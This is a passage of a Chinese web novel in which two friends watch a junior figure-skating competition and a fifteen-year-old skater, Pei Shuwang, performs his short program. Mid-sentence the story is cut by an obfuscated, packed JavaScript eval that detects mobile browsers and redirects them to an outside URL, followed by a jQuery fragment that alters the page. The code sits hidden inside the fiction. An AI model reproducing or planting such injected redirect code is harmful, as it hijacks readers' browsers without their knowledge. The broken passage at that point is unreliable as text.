“观众好少啊,花样滑冰这么冷门的吗?”
“不是啦,今天因为是工作日,所以来的人不是很多。而且是青年组比赛,没有什么很知名的选手,也没有粉丝特意赶来。”
“哦哦,这样啊。”
“出来了出来了——”徐颖拍了拍门美悠纪的胳膊,语气带着激动。毕竟这是她第一次现场看比赛,因为朋友喜欢花滑,平常两人除了偶尔去上冰玩玩,她也会陪着悠纪看一些赛事直播,但她对这些实在不太感冒。那些大小比赛看完,到现在她也只记得一个选手——周映澄,同为华国人长得也好看。朋友也很喜欢她,连带着自己也看了她许多场比赛。
这站青年大奖赛在立本举办,刚好,在她们学校附近。加上不需要门票,悠纪果断拉着她一起来看。
“这是双人滑还是冰舞啊?”
“冰舞,这一站没有双人滑的。”
“女生裙子比较长,男生打扮会比较精致的大概率就是冰舞哦。”门美悠纪目光从选手身上扫过,同时给徐慧简单进行了解释。“今天是冰舞韵律舞和男单短节目的比赛,相山君报名了这一站。我看男单参赛名单的时候有发现华国选手哦。”
“谁啊?相山君又是谁?周映澄参加吗?”
“我也不是很熟悉,好像是叫做裴舒望,以前从来没见过他的节目呢,可能是第一次参加国际赛事。相山君就是今年年初世青赛获得铜牌的那个选手呀,当时你还夸奖相山君的考斯滕非常漂亮。”门美悠纪一边介绍着自己支持的选手,一边又因为没见到喜欢的选手略带遗憾,“映澄酱这个赛季不参加青年组比赛了,升到成年组。不过下下个月的大奖赛上能见到映澄酱新的成年组节目,不知道会是什么风格,真是非常期待呢。”
“升组了啊,好可惜——”虽然可能对场上表演的选手不太尊重,但说实话徐慧真看不懂。不像其他三项,哪怕什么都不知道,起码可以看跳跃摔没摔,在空中蹦多高飞多远转了多少圈。冰舞的欣赏门槛远远高于其他三项,没有跳跃、没有高过肩膀的托举,全看二人脚下的步法、手上的握法、距离的远近和滑速的快慢……这些都不是她一个路人能够看出来的,哪怕是门美悠纪这样的资深单人滑粉丝也不能打包票说自己看得懂冰舞,只能说比起纯粹看热闹的徐慧来说,算是了解一些皮毛。
幸好冰舞选手不太多,也就两组,加上每组赛前的五分钟练习和比完后的清冰时间,也就一个多小时。要说煎熬也不完全是,徐慧坐的位置视角不错,能清楚欣赏场上俊男美女的双人舞蹈,选手几个亲密的瞬间也让她心底直呼不会是真情侣吧。有表演的好让人怀疑关系的,也有确实是可能刚搭档参加比赛的,一眼让人察觉塑料同事情。
除了这些其他的就没办法,有摔倒和两人明显动作不同步的情况,分数低徐慧也理解,但有几组明明节目没发现失误分数却也不高,选手等分区哭她也不知道为什么,这种时候就会一下子将她从赛事氛围中抽离出来。
冰舞最后一对选手结束表演的时候,徐慧已经有点坐不住了。她看了眼手机,又看了眼坐在KC区正在等待分数的选手,小声问门美悠纪:“还有多久到男单啊?”
“快了快了,这组分数出来就清冰,然后就是男单了。”门美悠纪也看了眼时间,“大概还有二十分钟吧。”
“二十分钟……”徐慧叹了口气,“已经坐这一个世纪了,也不差那点。”
“你那么想看男单吗?”
“冰舞看不懂啊,也没认识的组合。”徐慧理直气壮道,“男单不是有华国选手吗?还有你喜欢的那个相山君。”
门美悠纪哭笑不得:“慧酱,真的很直率。”
场上最后一对冰舞选手的分数出来,不高不低,排名没有太大变化。观众席上响起稀疏的掌声,徐慧也跟着拍了拍手。
清冰车开进场内,蓝白色的车身在冰面上缓缓移动。徐慧盯着那辆车,忽然想起什么,转头问门美悠纪:“你说那个裴舒望,他是第一次参加国际赛是吧?”
“应该是。”
“那他能滑好吗?会不会紧张?”
“不知道。”门美悠纪老实回答,“第一次参赛的选手,什么情况都有可能发生。有的人紧张得连平时一半实力都发挥不出来,有的人反而能超常发挥。”
“映澄酱第一次参加分站赛就拿到了银牌,完全黑马。”
“天才是不一样的啦,映澄是天才来着的。”徐慧应和道,“希望他能滑好,好歹是和我一个国家的选手。”
门美悠纪笑着看了她一眼:“你刚才还说无聊呢。”
“那不一样。”徐慧表情不变,语气肯定道,“自己人当然要支持。”
清冰车退场,广播开始播报男单第一组选手的信息。……本组最后一位参赛选手,裴舒望,来自华国,十五岁。这是他第一次参加国际比赛,赛前提交的配置表中,可以看到其中包括了阿克塞尔三周,勾手三周和内点三周接后外三周连跳,裴舒望选手的配置表难度可以算是场上最高。这让我想到本赛季升组的华国女单选手周映澄,她的初次分站赛就拿下了银牌。同为华国选手,他能够复刻周映澄选手的成绩吗?
镜头依次扫过场上选手,最后在裴舒望身上停下。一抹蓝色从画面中浮现,徐慧的眼睛一下子亮了。
长发在脑后扎成低马尾,在发绳处折了一下留下个小团子将马尾长度收短,黑发将发绳盖住,只觉得是用头发本身做出的造型,不加任何别的修饰。短马尾落在身后随着滑行轻轻摆动。深蓝色的考斯滕在灯光下泛着细碎的光泽,领口的银色花纹配合反光的水钻,像溅起的冰屑。他的身高在同龄人里算是高的,身材还没完全长开,但站在冰上就有一种说不出来的舒展。
“就是他?”徐慧拽住门美悠纪的胳膊。
“对,裴舒望。”门美悠纪也盯着场上,“好高啊,看着不像十五岁。”
“十五岁就这么高,以后得长到一米八以上吧。”
“不出意外,感觉至少会有一米八。有点影响跳跃欸,太高的话。”
徐慧才不管那些,她只觉得那个长发少年站在冰上,就像一幅画。
六练很快结束,选
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311156|198851||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手陆续下场。裴舒望接过教练递来的刀套,二人低头交谈了几句,下场等待。
第一位选手开始表演。立本的选手,音乐是古典风格。他的滑行很好,步法流畅,但跳跃稳定性差了些。第一个阿克塞尔两周中规中矩,待机时间略长。规定跳跃勾手三周翻身,后内三周摔倒没接上连跳,显然分数不会高。
分数出来,53.73,不高。这站分站男单只有17人参赛,所以也不用担心进不了自由滑。
第二位选手登场。泰兰德的选手,穿着一身黑考斯滕。可能是热带国家训练条件不行,他的配置不算高。后内三周接外点三周,阿克塞尔两周,勾手两周。难度普通但好歹稳定落下了没有摔倒,滑行和旋转也肉眼可见的粗糙。
50.50,节目内容分和技术执行分比不上前一个选手,加上难度构成一般,暂列第二。
……
“到裴舒望了。”门美悠纪说。
徐慧坐直身体,眼睛紧紧盯着冰场入口。
裴舒望脱下外套,交给教练,然后径直向场中央滑去。考斯滕在灯光下流光溢彩,头发披在背后,好似一幅写意水墨画。
他站定,低下头,双手自然垂在身侧。音乐响起,是钢琴曲,旋律简洁感染力充沛。随着音符落下,裴舒望整个人像被唤醒一样,抬头,开始演绎节目。
他的起滑不快,刀刃划过冰面留下细碎的声音。压步起速,然后是一个干净利落的阿克塞尔三周。起跳果断,在空中完全收紧,给人极具观感的好似停在空中的延迟转体跳跃。落冰膝盖压得很稳,将落冰的冲击力完全卸掉,十分流畅的一个滑出。
“三周半!”门美悠纪惊呼,“完美落冰的阿克塞尔!”
徐慧分不清这些跳跃,她只看到场上少年跳起来的时候,整个人滞空了一瞬,然后完成圈数,稳稳落下,继续滑行。他的动作很有力量感,但又不会显得生硬,每一个衔接都非常自然。
音乐渐渐变得急促起来,裴舒望的滑行也在加速。刀齿步,小跳,转三,括弧步,乔克塔,小兔跳……他的脚下不停变换,冰刀在冰面上留下复杂的图案。上肢随着音乐伸展收回,整个人完全沉浸在表演中。
规定跳跃、旋转……一个个技术动作的实现,带动现场观众情绪起伏。最后一个换足联合旋转结束时,他正好停在曲子的最后一个音上。
全场安静了一秒,然后响起热烈的掌声。
徐慧拼命鼓掌,手都拍红了。她其实不太懂那些技术动作,但她能感受到,那个少年在冰上的每一秒,都让她移不开眼睛。
“滑得太好了!”她忍不住喊出声。
门美悠纪也用力鼓掌,眼睛亮亮的:“他真的滑得特别好,合乐能力太强了,每一个动作都卡在拍子上,情感完全沉浸,只是看着节目,却好像我也感受到了他在风暴中的挣扎。”
场上,裴舒望微微喘着气,向四周观众行礼致谢,然后滑向挡板。他的脸上没有太多表情,看不出是满意还是不满意。
分数出来的时候,徐慧紧张得攥紧了门美悠纪的胳膊。